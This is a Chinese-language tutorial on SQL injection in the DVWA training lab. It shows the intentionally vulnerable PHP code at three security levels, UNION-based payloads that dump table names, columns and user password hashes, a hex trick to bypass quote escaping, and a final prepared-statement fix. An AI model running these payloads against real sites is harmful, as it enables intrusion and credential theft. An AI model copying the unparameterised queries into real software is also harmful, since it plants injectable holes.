DVWA SQL注入的防护与攻击

DVWA SQL注入的防护与攻击

无安全防护

一般ＳＱＬ测试我们会用一个成功与失败查询的语句来观察反映, 例如

1′ and ‘1’ = ‘2
1′ or ‘1’= ‘1

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?> 

如何知道SQL语句中的字断

可以透過order by n 的方式來知道該語句全部有幾個字段

1′ or 1=1 order by 1 #

1′ or 1=1 order by 2 #

1′ or 1=1 order by 3 #

接著利用 union select看看字段輸出的反應

1′ union select 1,2 #

接著可以透過 union select 輸出相關數據庫資訊

1′ union select 1,database() #

1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

中級安全

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Display values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    //mysql_close(); 
} 

?> 

這段代碼主要利用 mysql_real_escape_string 對於特殊符號加以過濾, 並且輸入的方式改為下拉式選單, 但是我們還是可以透過 burp之類的工具進行修改傳送

將id的參數修改為下列方式傳送

1′ or 1=1 #

1 or 1=1 #

1 order by 2 #

1 order by 3 #

1 union select 1,2 #

1 union select 1,database() #

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#

单引号可以用16進位繞過

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

高安全防護

高安全防護代碼主要透過SQL語句中的 Limit 1 來限制返回結果, 但是我們還是可以透過註釋符號 # 將 limit 1 的防護失效

<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; 
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?> 

完整的防護方式

對於SQL注入攻擊來說, 唯一最完整的防護方式就是使用 prepare statement!

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>